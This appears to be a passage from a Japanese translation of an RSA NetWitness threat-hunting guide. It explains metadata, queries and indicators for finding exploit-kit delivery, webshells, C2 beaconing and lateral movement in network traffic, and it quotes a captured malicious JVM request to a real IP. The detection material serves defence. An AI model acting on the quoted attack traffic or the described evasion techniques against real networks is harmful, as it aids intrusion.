アナリストは’go0gle.com’のようなスペルミス、’jhkhajdsfgasdkfhk.info’のようなナンセンスドメイン、’australiantestnew233s.info’のような一見無害な名前を探す必要があります。 これらのドメインを抽出してから、Virustotal、Robtex、Bulk SEO Toolsのようなオンラインツールを使用して、最近の登録日や偽の登録者情報を検索することをおすすめします。 Liveコンテンツには疑わしいドメインを識別するためのロジックが組み込まれており、これらのメタデータを利用することで、アナリストは正常な通信から不審な通信を掘り起こすことができます。

サービス特性メタデータ 説明
suspiciously named domain Google、Appleなどが含まれていて、.google.comや.apple.comで終わらないドメイン
hostname consecutive consonants 5つ以上の連続した子音または数字、または4つの連続した子音または数字の2つのグループを探している正規表現。DGA(ドメイン生成アルゴリズム)を発見するのに便利です。
dynamic dns host ダイナミックDNSプロバイダのサブドメインであるalias.hostエントリ
dynamic dns server 既知の動的DNSサーバと一致するalias.hostエントリ
http direct to ip IPに直接接続するHTTPリクエスト。 ホスト:10.0.0.1など。
tld_is_not_com_org_net com、orgまたはnetのいずれでもないtld。

Java VM

Java Virtual Machine(JVM)には、しばしば脆弱性が発見されるため、マルウェアの配信には好都合です。 Oracleから脆弱性に対応したセキュリティパッチがリリースされたとしても、多くの企業では過去の互換性を維持するために古いバージョンを使わざるを得ない事があります。 これにより、サイバー犯罪者は攻撃経路を確保することができます。

Java VMを悪用した攻撃を分析するために、まずはJavaの主要コンポーネントを理解しましょう。 理解すべきは、JAR(Java ARchive)、Java class、Java アプレットの3つです。 アプレットは通常、ブラウザ上で実行される小さなスクリプトです。 アプレットを利用したexploitは一般に、デコードキーやアプレットによって設定された別の特別なパラメータなど、特定の起動プロパティを使用してJARまたはクラスファイルを参照します。 例としてはOSバージョンとJavaバージョンの2つです。 これらは通常、exploitのプロファイルと配信に使用されます。 以下のリクエストヘッダは、JVMがClassまたはJARファイルを取得し、アプレットによって指定されたパラメータで起動するところです。 JVMの興味深い特徴は、デフォルトのUser-AgentがJavaのバージョン情報であるということです。

GET /links/cleared-brought_nowhere.php?dikrsiy=3536073536&likv=3333&lmgfyflc=oocaw&cmkmtfz=cnsxp HTTP/1.1
accept-encoding: pack200-gzip, gzip
content-type: application/x-java-archive
User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_32
Host: 188.165.4.201
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Via: 1.1 localhost.localdomain

このインジケータを使用して、外部に通信するJVMアクティビティのみを絞り込むためのルールをいくつか作成できます。 次の表に、JVMに関連するメタデータを示します。

メタデータ メタキー 説明
http java analysis.service HTTP経由のJVMリクエスト
java exe ioc direction = outboundおよびfiletype = windows executable を使用したHTTP経由のJVMリクエスト
java pdf ioc direction = outbound および filetype = pdf を使用したHTTP経由のJVMリクエスト
http possible exploitkit ioc direction = outboundで、認識されたファイルタイプがないHTTP経由のJVMリクエスト

外部に通信するすべてのJVMおよびGETメソッド要求を分析する必要があります。 多くの場合、JARまたはClassファイルの後には、エンコードされていない実行ファイル(マルウェア)がダウンロードされます。 Forensic Fingerprintでこのメタデータを見つけることができます。

パーサーによって、JVM exploitのペイロードのすべてが分析できるわけではありません。 exploit JARには、ペイロードをサーバーからダウンロードした後に解凍するためのコードが含まれています。 これらのセッションがシングルバイトのXORキー以外でエンコードされている場合、パーサーは実行可能ファイルを検出できせん。 その場合、対象のデータはバイナリデータの塊に過ぎませんが、それはJavaトラフィックを分析するための重要な指標です。 小さなJARまたはClassファイルがダウンロードされた後にペイロードを識別できない場合は、JARを深く掘り下げたり、エンコードされたペイロードを調べる必要があります。

以下の例では、簡単なXORエンコーディングスキームでexploitペイロードが配信されました。 JARはペイロード全体にDWORD XORキーを使用していたため、NetWitnessによって識別されませんでした。 理論的には、パーサーはこのペイロードを実行ファイルとして解析することが出来ます。 ただし、解析するキーの長さをシングルバイトからDWORDに拡張すると、パーサーの負荷は指数関数的に増加します。 これらの符号化方式は、ペイロードの先頭がPEヘッダーであると推定してキーを手動で特定することができます。 また、パディングセクション(0x00が続く領域)でキーが繰り返されることがあり、そこから特定することもできます。

Figure 10. Encoded Payload

Figure 11. Decoed Payload

残念ながら、この例のようにペイロードを抽出するのは必ずしも簡単ではありません。 しばしば、JARのクラスファイルをデコンパイルし、コードをデバッグし、使用されているエンコーディングまたは暗号化アルゴリズムを発見する必要があります。 マルウェア作者は、エンコードされたマルウェアをデコードして実行するために、ノンスのようなワンタイムキーを用いることさえあります。 これは、アナリストや研究者にとって、完全なパケットキャプチャが必須であるもう一つの理由です。

その他インジケータ

悪質なソフトウェアを見つけるために組み合わせることができる、HTTPの多くの指標、動作、技術的側面があります。 ライブコンテンツパーサーは、アナリストのためのインテリジェントな方法で、最も一般的な妥協の指標[IOC]を自動的に組み込みます。 これは、HTTPデータセットのハンティングに使用される明確な証拠ではありませんが、調査の出発点にはなります。

http with base64http with binary には特別な言及が必要です。 これは、通常のHTTPトラフィックのように偽装して、C2に送信されるデータを難読化するための一般的な手法です。 Base64データは簡単にデコードできるため、難読化されたデータ(大抵はバイナリデータ)を発見することができます。 これらのセッションに含まれるデータが適切に解読されない場合は、トロイの木馬内に特別なBase64変換テーブルが定義されている可能性があります。 同様に、バイナリデータは単純なシングルまたはマルチバイトのXORでない限りは、ランダムなデータのように見えます。 このデータの構造を理解するためには、バイナリ解析とプロトコルリバースエンジニアリングを必要とするでしょう。 多くの正当なアプリケーションでは、これらのメソッドを使用してデータを転送しますが、アナリストが対象組織のHTTPデータセットに慣れ親しんでいれば、それらを除外することが出来るでしょう。

サービス特性メタデータ 説明
http with base64 本文にBase64でエンコードされたデータを含むHTTP
http with binary 本文にバイナリデータを持つHTTP
watchlist file fingerprint Windows実行ファイル、JARなどのマルウェアで一般的に使用される実行可能ファイル形式
watchlist file extension .exe、.php、.zipなどのマルウェアで一般的に使用される実行可能な拡張子
http explicit proxy request Requestメソッドの後にプロトコルと完全なURLを要求する明示的なプロキシ要求の試み
http long query 256バイト以上のクエリ文字列
http suspicious connect ヘッダーが4つ未満で、ユーザーエージェントがないHTTP CONNECTメソッドを使用するセッション
http response filename exe exeで終わるインライン・ファイル名を持つHTTP要求に対するサーバーの応答
http webshel​​l GETおよびPOSTスタイルのWebシェル用の各種インジケータ
http webshell no error HTTPサーバーの応答エラーを生成しないGETおよびPOSTスタイルのWebシェル用のさまざまなインジケータ
http webshell error HTTPサーバーの応答エラーを生成するGETおよびPOSTスタイルのWebシェル用のさまざまなインジケータ
http post no get missing content-length Content-Length HTTPヘッダーを含まないことによってRFCに違反するHTTP POST要求
http post no get low header count not flash ヘッダーが6未満でUser-Agentに’shockwave flash’を含まないPOSTリクエスト
http post no get short filename suspicious extension 実行可能な拡張子を持つ3バイト以下のファイル名に対するHTTP POST要求
direct to ip one char php 1文字のPHPスクリプトを照会するダイレクトIPへのHTTPリクエスト

Figure 12. HTTP with Base64 Encoded Data in Body

Figure 13. HTTP with Binary Data in Payload

まとめ

Figure 14. Netwitnes Hunting Theory

期間

NetWitnessでのハンティングの第一歩は、おそらく最も重要なステップです。 アナリストは、さまざまなメタデータを使用して分析を開始する前に、どの期間のデータを分析するのか特定する必要があります。 NetWitnessは常にデータをキャプチャしており、ほぼリアルタイムで結果を提供しています。 たとえば、午前9時に過去24時間のデータを分析しはじめて正午に昼食に行った場合、昼食から戻って同じ操作を行うと前日の正午から24時間分のデータしか見ることができません。 この問題は、調査期間を相対指定せず、絶対指定することによって解決されます。 簡単に言えば、アナリストは、過去1時間、過去3時間などの相対オフセットを使用するのではなく、何月何日などの静的な期間を分析する必要があります。

方向性

次に特定すべきは方向性です。 トロイの木馬のC2通信を探しているなら、それらは既に組織内に存在していると仮定する必要があるため、調べるべきはoutbound通信です。 webshellの活動を探しており、traffic_flow_options.luaを適切に設定している場合は、inbound通信を調査します。 ファイアウォールポリシーや侵入されたDMZマシンから何らかの内部リレーを探している場合は、lateralを選択します。

サービス

次に、分析するサービス(この場合はHTTPまたはservice = 80)を選択します。 データセットを関連するデータのみに絞り込み、本格的な分析を開始できます。

分析開始

この後の最初のクエリは、データセットをより小さなバケットに分割して、より詳細に調べることを目的としています。 これらは通信の技術的側面と行動の問い合わせであり、侵害された痕跡を探すことが目的ではありません。 むしろ、行動(メソッドの使用法など)や技術的側面(短いユーザーエージェントストリングやウォッチリストファイル拡張など)に基づいてトラフィックを選択しています。

たとえば、HTTPなどのよく知られたプロトコルでの秘密双方向通信を探しているときは、HTTPメソッド分析に戻ることができます。 ほとんどの環境でHTTP POSTはHTTP GETの約10%です。 これを知っていれば、アナリストは効果的に http post no get を照会することができます。 これにより、トラフィックの90%を除外することができます。

サービス特性メタデータは、http post no get の前のクエリなど、行動的および技術的な側面のクエリから始めます。 スループットとデータセットの特定の側面に応じて、適切でないか疑わしいものを見つける前に少し深く掘り下げなければならないかもしれません。 アナリストはサービス特性メタデータを使用して、人間が生成した動作のように見える部分を除外し、マルウェアの活動を示す動作に焦点を当てることができます。 たとえば、通常のブラウザでは6つ以上のHTTPヘッダーが使用されている事が分かっている場合、six or less headersでHTTPセッションを掘り下げると更にパケットを除外できます。

ここからは、以前に説明したHTTPの側面を調べ、正常な動作であること事が説明できないセッションを探します。 リファラーなしでHTTP POSTが行われている場合、どうやってそれにアクセスしましたか? 奇妙なUser-Agentが見つかった場合、そのアプリケーションは何ですか? 有名なベンダーに似た奇妙なドメイン名が見つかったが、ドメインがそのベンダーによって登録されていない場合は、なぜそうなっていますか? 多くの場合、ネットワークを可視化するだけではこれらの質問に答えることは困難です。

深層分析

侵害された可能性のある通信を発見すると、実際の調査が始まります。 アクティビティが発生している期間とホスト数はどのくらいですか? たとえば、foo.com通信する不審なHTTP通信を見つけた場合、アナリストは宛先IP(例えば123.123.123.123)に注意してデータセットをドリルダウンします。 ip.dst = 123.123.123.123 || ip.src = 123.123.123.123 || alias.ip = 123.123.123.123 これにより、不審な通信に関するリクエストとレスポンスのすべてが得られます。 WebShellに対するinboundアクセスや、C2にビーコニングを行うトロイの木馬の可能性があります。

注:アナリストは、このドリルダウンをより簡単に実行できるようにアクションを追加することもできます。

次の例では、トロイの木馬Rekafが発するビーコンを調べて、それが生成するメタデータの一部を観測しています。 NetWitnessのテキストビューに表示されるセッションは、次のとおりです。

Figure 15. Rakaf Beacon

以下のセッション特性が観察されました。

Figure 16. Rakaf Session Characteristics

送受信データの総量は5KB未満ですが、内部から外部に対して受信サイズをはるかに超えるサイズのデータを送信しています。 それ以上のことはわかりませんが、これはトロイの木馬の通信特性として非常に興味深いものです。

Figure 17. Rakaf Service Characteristics

このメタキーを見れば状況はさらに明らかになります。 このリクエストにはPOSTメソッドがありますがGETメソッドはなく、Referrerヘッダーが含まれていないことがわかります。 ブラウザを使った一般的な操作ではこのような挙動はあり得ません。 また、Windowsレジストリに格納されているデフォルトのUser-Agentと思われる短いUser-Agentと、6つのHTTPヘッダーがあることもわかります。 さらに2つのキャッシュ・ディレクティブとクッキーが存在しないということは、この通信がユーザー操作によって行われたものではなく、プログラムによって行われた可能性が高いことを示しています。 それを示す最も明白なインジケータは、リクエストの本文内のバイナリペイロードです。 NetWitnessはASCIIコードの範囲外で印刷不可能な文字を’.’としてレンダリングします。

ESAのEvent Stream Analysisには、アナリストがHTTPでのハンティングに適用するロジックと非常によく似たロジックが含まれています。 Rekafについては、次の図を参照してください。

Figure 18. ESA C2 Detection

ESAアプライアンスは、定期的に送信HTTPトラフィックをデータセットに照会し、特定のスコアを生成し重み付けする機械学習アルゴリズムを適用します。 この方法ですべてのHTTP通信が評価され、スコアが発生します。 最も重大なインシデント・マネージャ・キューにインシデントが生成されます。 重大なインシデントを抽出するために必要なデータがすべてNetWitnessサービスから得られるわけではありません。 WHOISの情報はLiveから集められ、ドメインのエージングと期限切れの情報でスコアを高めます。 このタイプのシステムはアナリストを補強し、人間が行うよりも複数のセッションかつ長い期間にわたって分析します。 NetWitnessを検索する際には、単一のセッションや何らかの種類のビーコニングパターンが目立つように探しています。 ESAは、すべてのHTTPトランザクションの接続統計をメモリに保持し、人間には認識できないパターンを探します。 以下は、得点したカテゴリと説明のリストです。

ESA 評価カテゴリ 説明
Beacon Behavior このソースIPとこのドメインとの間の通信が非常に規則的であるため、C&Cの疑いがあることを示します。
Domain Age レジストラの登録日に基づいて、このドメインが比較的新しいことを示します。
Expiring Domain ドメインがすぐに期限切れになる可能性が高いことを意味します。
Rare Domain 過去1週間、このネットワーク上でこのドメインに接続されたIPが比較的少ないことを示します。
No Referers このドメインにリファラ経由で接続するIPの割合が比較的低いことを示します。
Rare User-Agent まれなユーザーエージェントを使用しているドメインのIPの割合が高いことを示します。

最終スコアを生成するために使用された得点計算のより詳細なビューです。

Figure 19. ESA C2 Detection Scoring Detail

SSL/TLS

SSL/TLSパーサーは実際にはX.509証明書パーサーと呼ばれるべきです。 サーバによる「Change Cipher Spec」メッセージの後は、すべてのデータが暗号化されたランダムなデータとみなすことができます。(暗号が解読されてしまう一部の脆弱性を除外して) SSL/TLSに適用される唯一のロジックは次のとおりです。

  • bad_ssl SSLで’localhost’を探索している通信
  • DGA [Domain Generation Algorithm]のような子音が連続するホスト名の探索

ペイロードはほぼすべて暗号テキストなので、SSL CA、SSL Subjectおよびセッション特性メタカテゴリがSSL/TLSを掘り下げる唯一の場所です。 既知のSSL/TLSトロイの木馬が見つかっており、暗号化とHMACアルゴリズムが分かっている場合、アナリストはCrypto Keyのメタカテゴリで一致を調べることができます。

SSL CAがSSL Subjectと同じである場合、自己署名証明書のメタデータが定義されます。 これは合法的に起こる場合もあります(たとえばGoogleなど、かなり長い間CAだったため) Hunting Packで説明したトラフィックフローのメタデータを使用したこれらのセッションは、以下に示すようにビーコニングタイプの動作を調べることができます。

Figure 20. Example SSL Beaconing

その他のサービス

サービスタイプOTHERはアナリストを混乱させることがよくあります。 「プロトコルXがサービスXとして登録されなかった理由」はおそらく最もよく聞かれる質問です。 NetWitnessには、サービスを識別し、そのプロトコルに関する詳細の大部分を解析するパーサーのデフォルトセットが付属しています。 ライブコンテンツ管理システムには、プロトコルを識別し、個々のセッションに関する追加の詳細を探すための数百の追加のパーサーが含まれています。 CPUのパフォーマンスと、パーサーが特定のセッションで実行できるロジックの量との間には、トレードオフがあります。 また、データセットを見ているフォレンジックアナリストの視点も考慮する必要があります。

はたして、KerberosとQQメッセンジャープロトコルの違いをHTTPのように詳細に解析する必要があるでしょうか? そのプロトコルのサービスタイプを判定するに足る、明確な挙動や印が定義されているでしょうか? セッションには多くの場合、ハンティングに無関係なKerberosのようなプロトコルや、QQなどのあいまいなプロトコルが混在しています。

サービスタイプOTHERの多くは、SYNタイムアウト、32MBまたは60秒の制限に達した後で再開されたセッション(バージョン10.5以降はこれが大幅に削減されています)や、暗号化されていてプロトコルが識別できないP2P通信です。 これらのプロトコルの解析と識別にリソースを費やすのではなく、ハンティングに役立つセッションにリソースを使用するのがNetwitnessの戦略です。

セッションLuaパーサー

トラフィックフローの特定のセクションでは、traffic_flow.luaパーサーから生成されたメタデータが役に立ちます。 アナリストは、first carveルールを使用して、シングルサイドセッション、ゼロペイロード、および内部トラフィックをデータセットから最初にフィルタリングできます。 次のセッション特性を使用して、より詳細なトラフィックをさらに分類できます。

メタデータ 説明
long connection 30秒以上継続しているセッション
suspicious other サービスタイプOTHERのうち、ペイロードが0byte以上でSYNフラグが確認できているセッション

session_analysis.luaパーサーはこの検索にとって非常に重要です。 NetWitnessは、現実的なメモリサイズと転送速度を実現するために、セッションの途中で分析を開始します。 このときにTCPフラグが非常に重要になります。 たとえば、ブラウザを開いて「foo.com/bin.iso」からISOを要求すると、HTTPリクエストは次の図のようになります。

GET /bin.iso HTTP/1.1
Host: foo.com
Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like G
ecko) Chrome/40.0.2214.115 Safari/537.36
DNT: 1
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8

このISOが4.7GBのDVDイメージだった場合、最初のセッションはサービスタイプ80またはHTTPで、サイズは32MBになります。 次のセッションはすべて同じサービスタイプで、サイズが32MBで、要求を開始したセッションと同じTCP送信元ポートを持ちます。 しかし、バージョン10.5以降、これらの分割セッションはデコーダ内の状態テーブルで追跡され、session.splitメタキーと論理的にリンクされます。 以下の長いSSL接続でこのロジックが動作していることがわかります。

Figure 22. State Tracking with Session Splitting

デコーダは、どのIP/ポートの組み合わせがセッションを開始したかに基づいて要求と応答を判断します。 私のローカルIPアドレスが192.168.1.10で、リモートサーバが192.168.5.5の場合、以下のようなクエリは、2点間のすべてのトラフィックを選択します。

(ip.src = 192.168.1.10 || ip.dst = 192.168.1.10) && (ip.src = 192.168.5.5 || ip.dst = 192.168.5.5)

ただし、TCP SYNフラグを追加のメタデータとして指定することで、TCPセッションの開始を確実に取得できます。 これにより、分析の邪魔になる他のトラフィックが排除されました。

(ip.src = 192.168.1.10 || ip.dst = 192.168.1.10) && (ip.src = 192.168.5.5 || ip.dst = 192.168.5.5) && tcpflags = 'syn'

サービスタイプOTHERには次のような興味深いセッションが含まれます。

  • exeやアーカイブなどのファイルをやり取りしている通信
  • 一般的なプロトコルで使用される80,443,53などのポートを利用した通信

現在これを分析するために、バイナリインジケータとバイナリハンドシェイクの2つの追加のメタデータがあります。 これらの2つはセッション特性に登録され、TCP接続の特定の特性を探します。

最初のバイナリインジケータは、TCPセッションのペイロードの最初の8バイトを調べ、各バイトをフレーム長と比較します。 次に、TCPセッションの最初の16バイトを読み取り、ビッグエンディアンとリトルエンディアンの各ワード[2バイト]をフレーム長と比較します。 これらのチェックのいずれかが当てはまる場合、メタが追加されます。 これは、カスタムプロトコルを使用してデータフローを制御する一般的なトロイの木馬の特徴を探しています。 Gh0stとして知られているトロイの木馬は、フレームヘッダーの後のペイロードがzlibライブラリで圧縮されており、ペイロードの圧縮サイズとペイロードの圧縮されていないサイズを知る必要があるため、この方法を使用します。

TCPセッションに2つのストリームがあり、各ストリームのペイロードが256バイトを超えると、バイナリハンドシェイクメタが起動します。 ペイロードを1バイトずつ解析し、それぞれがASCII範囲内にあるかどうかが確認されます。 分析される512バイトのうち、非ASCII文字の数が310より大きい場合、メタが登録されます。 これはカスタムプロトコルのもう1つの成果物であり、first carveとservice=0と組み合わせたこれらの2つのメタ値は、アナリストにNetWitnessの他のセッションを分析するための観点を与えます。

レイヤ4インジケーター

一部のトロイの木馬C2プロトコルでは、レイヤ4以降のインジケータが残っています。 NetWitnessパーサーは、ペイロードデータに対してのみ動作します。 レイヤー4以下のものは、デコーダー処理自体で理解する必要があり、パーサー自体と同じように変更するのは簡単ではありません。 Luaライブラリnw.packetは、個々のパケットとヘッダー情報を問い合わせるメソッドを提供します。 よく知られているTrojan Poison Ivyは、Camellia ECBを使用してサーバーとクライアント間のセッションを暗号化します。 ハンドシェイクでは、サーバーとクライアントの間で256バイトのデータを交換します。 このハンドシェイクのデータは、トロイの木馬の設定済みのパスワードに基づいており、パスワードを変更するだけで既存のシグネチャ型防御を回避することができます。 これにより、Poison Ivy Trojanは、古くよく知られたマルウェアであるにも関わらず、攻撃の定番であり続けています。

Figure 25. Poison Ivy Handshake

Liveにはpoison_ivy.luaパーサーがあり、Poison Ivyが利用する256バイトの認証交換を探しており、関連する通信が見つかるとIOCメタデータに登録します。 メタデータを他のサービスと組み合わせると、このタイプのトロイの木馬や通信プロトコルを検索する際の強力な指標になります。

その他のアノマリ

HTTP、SSLおよびその他のサービスには、トロイの木馬C2に関連するセッションが通信する場所が多いため、多くの注意が払われています。 悪意のある行為は必ずしもトロイの木馬に関連付けられているとは限りません。 誤った設定やその他の種類の動作によって引き起こされる可能性があります。 以下のサブセクションでは、FTP、RDP、SSH、DNS、ICMP、CIFS、およびDNSの他のサービスおよびプロトコルにおける悪意のある行為について解説します。 これらは一般的なC2方式ではありませんが、攻撃者によってよく悪用されるサービスです。

FTP

FTPプロトコルは、この文書の執筆時点で約30年間続いています。 これは非常に単純なプロトコルであり、冗長性をほとんど提供しません。 注意すべき点の1つは、STORコマンドとRETRコマンドがそれぞれ、NetwitnessのactionメタデータにPUTとGETとしてマップされていることです。

ほとんどの組織はある種のNATの背後にあるので、一般的にパッシブFTPが利用されます パッシブとアクティブなFTPの説明は、インターネット上で簡単に検索できます。 しかし、その動作の重要な側面は、どちらの場合もデータ転送がFTPサービスとは別のTCPセッションを介して行われることです。 これは、FTPサービスがメタデータとして利用可能なフォレンジックフィンガープリントを持たないことを意味します。

FTPデータの分析を開始する場合は、そのようなメタデータの代わりにservice = 21 && action ='put' && session.analysis ='first carve'というクエリを実行することをお勧めします。 このクエリは、組織外のIPアドレスに対して行われたすべてのFTP STORコマンドを表示します。 その後、アナリストは、ファイル名、内部アドレス、および宛先組織にピボットして、異常値を探し出すことができます。

FTPのもう一つの特徴はログイン資格証明が平文で送信されることです。 アナリストは、ユーザ名とパスワードのメタデータカテゴリを開くことで、FTPトラフィックをさらに分割できます。 注目すべきは「lazy left-handedness」と呼ばれるパスワードのパターンです。 例えば「RSAhunter!@#」というパスワードの末尾の3文字は、シフトキーを押しながら1,2,3と入力しただけのものです。(英語キーボードではSHIFT+2で@になる) 同じく「!qaz@wsx#edc」は安全なパスワードのように見えるかもしれませんが、実際には左手の操作だけで入力が完了します。 このような情報は、高度な脅威の分析ではほとんど意味がないかもしれませんが、いくつかのケースでは実際に確認されています。

FTP経由のC&C通信は稀ですが、無くなったわけではないのでチェックする必要があります。 C2が起動してListen状態になると、トロイの木馬はC&CからコマンドをRETRし、感染したマシン内のデータをC&CにSTORします。 活発な攻撃者には、これらのセッションが多くあるはずです。 C2がFTPをリッスンしていないときは、トロイの木馬からC&CのIPにTCP SYNビーコンが送信されますが、応答はありません。 静的なユーザー名とパスワード、またはランダムに生成された資格情報を提供することも可能です。 トロイの木馬は、FTPプロトコルに含まれる60個のコマンドのいくつかを、トロイの木馬内のさまざまな機能にマッピングすることもできます。 説明がつかない挙動を見つけた場合は、actionメタデータを調べることをお勧めします。

RDPとSSH

ハンティングにおいて、バージョン5.2+以前のRDPは非常に興味深い対象でした。 これ以前のRDPバージョンはクリアテキストであり、多くのインジケータ(キーボードレイアウトなど)を抽出することができたからです。 バージョン5.2+を使用すると、証明書と鍵交換が行われ、残りのセッションは暗号化されます。 これらのセッションで興味深い唯一のメタデータはIPアドレスとポートです。 RDPとSSHはNetwitness上で区別されますが、どちらもメタデータをほとんど得ることができないため、分析方針は似通ったものになります。

インターネットに対するoutbound通信については、一般的にRDPまたはSSHを許可することはお勧めできません。 多くの従業員は、これらを使用して、インターネットでレンタルしているマシンや自宅のマシンにリモートで接続します。 RDPのデフォルトはTCP 3389、SSHのデフォルトはTCP 22ですが、多くの場合彼らはデフォルトのポートではなく80や443などのポートを使ってプロキシを欺きます。 SSHは他のプロトコルをトンネリングするためによく使用され、不正なVPN接続のように動作したり、ネットワークを高度な攻撃者に繋ぐことさえできます。

SSHの興味深い側面は、SSHクライアントとSSHサーバーが接続を確立する際に平文を交換することです。 これにより、分析者はより多くの行動をプロファイリングすることができ、いくつかの分析的な洞察も可能になります。 外部に公開されているSSHサーバーが非常に古いバージョンを使っている場合、そのサーバーは侵害されている可能性があるため、さらなる調査が必要になります。 同様に、SSHクライアントアプリケーションの情報は、通信が開始された意図を明らかにするのに役立ちます。 同様に、暗号化されたRDPセッションは、秘密鍵またはノンスの交換を保護するために証明書を交換し、その証明書の詳細はssl.subjectとssl.caのメタキーから読み取れます。

インターネットから受信するinboundのRDPとSSHは最も吟味されるべきです。 インターネットに直面しているサーバーが侵害された場合、攻撃者がそのマシンに対してRDPまたはSSHを試行する可能性が高くなります。 TCP 3389またはTCP 22の接続をインバウンドで許可しない組織であってもリスクは同じです。 RSAは、攻撃者がFTPなどのインバウンドサービスをシャットダウンし、ターミナルサービス構成を変更してTCP 21でRDPをリッスンし、外部から接続した事例を確認しています。

Tor ExitノードとVPNサービスのIPアドレスを追跡するLiveのメタデータも存在します。 RDPやSSHのセッションがあまりに多く、効率的に調査ができない場合はこれらを利用する必要があります。

不正なアウトバウンドまたはインバウンドのRDPまたはSSHセッションを検出する際にアナリストに尋ねられる典型的な要求は、何かが流出したかどうかを判断することです。 ほとんどのRDPセッションは暗号化されており、すべてのSSHセッションは暗号化されているため、非常に特殊な場合を除いて、ネットワークトラフィックだけでは判別できません。

ただし、ネットワークトラフィックからアクティビティを推測できます。 アナリストが最初にすべきことは、下の図のように問題のIPアドレスを選択することです。

(ip.src = 192.168.1.10 || ip.dst = 192.168.1.10 || alias.ip = 192.168.1.10) && (ip.src = 192.168.5.5 || ip.dst = 192.168.5.5 || alias.ip = 192.168.1.10)

Decoderサービスは実際にSSHやRDPのTCPハンドシェイクを追跡しておらず、それに応じて要求と応答を順序付けしていないので、このようなWhere節を構成します。 ほとんどのRDPセッションとSSHセッションは60秒以上になるので、session.splitメタというラベルのついた継続セッションがたくさん残されます。 TCP SRCポートは一つのセッションが閉じるまで変更されないため、どのセッションを調べるかを決定する際の目印として活用できます。 NetWitnessでpcapを抽出してWiresharkで開くと、1つのpcap内のすべてのフレームのセッションが表示されます。 Statisticsメニューに移動してエンドポイントを選択すると、IPv4の下の各IPの受信バイトと送信バイトを確認できます。

Figure 27. Wireshark Endpoints Byte Counts

ICMP

ICMPが利用される場面はpingコマンドだけではありません。 ICMPは、レイヤ3および4プロトコルをサポートする標準のメッセージングプロトコルです。 ICMPは、コード用の8ビットフィールドとステータス用の8ビットフィールドとを有する、レイヤ3プロトコルで、IPプロトコル番号は1です。 ほとんどのアナリストが認識しているコードは、エコー要求とエコー応答である8と0です。 もう1つの一般的なICMPコードは11、またはTracerouteでよく使用されるTime Exceeded(TTL)です。 ICMPはあらゆるネットワークのかなりの部分を占めていますが、セッションのサイズは一般に小さいです。 icmp.luaパーサは、IPプロトコル番号が1であるセッションからICMPタイプとコードを解析します。 Netwitnessはセッションごとに1つのサービスしか登録できず、ICMPはサービスではないため、サービスは登録されていません。 また、NetWitnessとそのサービスによってネイティブに解析される他のプロトコルのトンネリングにICMPが使用されています。 下の図は、ネットワークに表示される一般的なタイプとコード、および関連する2つのアラートを示しています。

メタデータ 説明
large icmp request frame リクエストフレームが96byte以上
large icmp response frame レスポンスフレームが96byte以上

Figure 28. IR_1_ICMP.lua Example Metadata

Session Characteristicsメタのlarge icmp request framelarge icmp response frameの定義は、単純なICMPを調べるよりも多少明確です。 このロジックは、最も一般的なタイプコード3またはDestination Unreachableのいずれかで発生します。 このICMPメッセージが送信元ホストに返されると、フレームのペイロードセクションに違反しているフレームの一部も含まれます。 ICMP以外の何らかのプロトコルが十分に含まれている場合は、プロトコルパーサーの1つに一致します。 このようにして見つけられる共通サービスは、通常、データグラムベースのプロトコルです。 TCPプロトコルはペイロードデータを送信する前にソケットを確立する必要があるため、宛先に到達できない場合はペイロードはありません。 つまり、ルーティングミスが発生し、TCPフレームが宛先到達不能ICMPパケット内に終わる可能性があります。

大規模なICMPセッションメタデータは、多くのセッションを生成します。 また、セッションのメタデータエントリが少ないため、解析するのが難しいように思えるかもしれません。 アナリストは、Hunting Packのセッションサイズのメタデータに焦点を当てることにより、データセットをより効果的に捉え、インターネットに接続しているネットワーク内の送信元IPアドレスに集中することができます。

ICMPから得られるメタデータは、悪意ある攻撃者の活動を示している可能性があります。 ICMPを使用する一般的なトロイの木馬は、多くの通常のICMPメッセージの中に、C&C通信を紛れ込ませようとします。 アクションまたはエラーメタカテゴリに、普段見慣れない情報が記録されている場合は、そのセッションに悪意ある行動が含まれる可能性があるため、詳しく分析する必要があります。

CIFS

NetWitnessの設置場所によっては、SMB/CIFSトラフィックがほとんど検出されない可能性があります。 SMB/CIFSのような重要なトラフィックは脅威分析に役立ちますが、それらを収集・分析できるようにするためには相応のコストがかかります。

また、レイヤ2のパスと、ほとんどのレイヤ2環境が共有する標準のCore -> Distribution -> Accessモデルには問題があります。 つまり、組織のCIFSトラフィックがNetWitnessによってキャプチャされる場合、組織内で横方向の動きを見つけるために使用できる指標がいくつかあります。

CIFSとRPCは、主に無名のタスクの転送とジョブ/スケジュールされたタスクの転送とネットワークを介してファイルをコピーするという2つの点で攻撃者によって使用されます。 仕事で探すことは比較的簡単です。 Liveにはnamed_pipes.luaというパーサーが含まれています。 このLuaパーサーは、トラフィックを調べて、名前付きパイプを抽出し、メタデータカテゴリnamed.pipeの下に登録します。 名前付きパイプは、CIFSによって処理される2つのエンドポイント間の論理接続です。 これにより、トランスポート層が簡素化され、認証時に使用される特権を使用してリモートシステムでアクションを実行することもできます。 これは、IPC $共有またはプロセス間通信シェアによって処理されます。 名前付きパイプ ‘ATSVC’は、Atサービスが呼び出され、名前のないタスクがリモートホストに送信されたことを示します。

RSAは独自の名前付きパイプを使用してコミュニケーションを行う独自のバイナリを持つ組織を介して横方向の動きを観察し、このパーサーも識別子をメタデータとして登録します。 興味深いパイプを探すときは、組織内で一般的に使用される名前付きパイプのフィードを作成し、新しいメタデータを警告することをお勧めします。

また、攻撃者はCIFSを使用してネットワーク上のファイルを移動します。 これには、exfilデータ、マルウェア、ツール、およびwebshel​​lが含まれます。 これを念頭に置くと、NetWitnessへの次のクエリを使用して、これらの成果物の一部を発見するのに役立ちます。

CIFSクエリの例 説明
service = 445 && action = ‘create’,’write’,’read’ && fingerprint = ‘rar’ RARファイルのコピー
service = 445 && action = ‘create’,’write’ && extension = ‘php’,’asp’,’aspx’,’jsp’,’cgi’,’pl’ && directory contains ‘iis’,’www’ 通常ではないディレクトリに対するWebアプリケーションスクリプトのコピー
service = 445 && action = ‘create’,’write’ && fingerprint contains ‘exe’ 通常ではないディレクトリに対するWindows実行ファイルのコピー
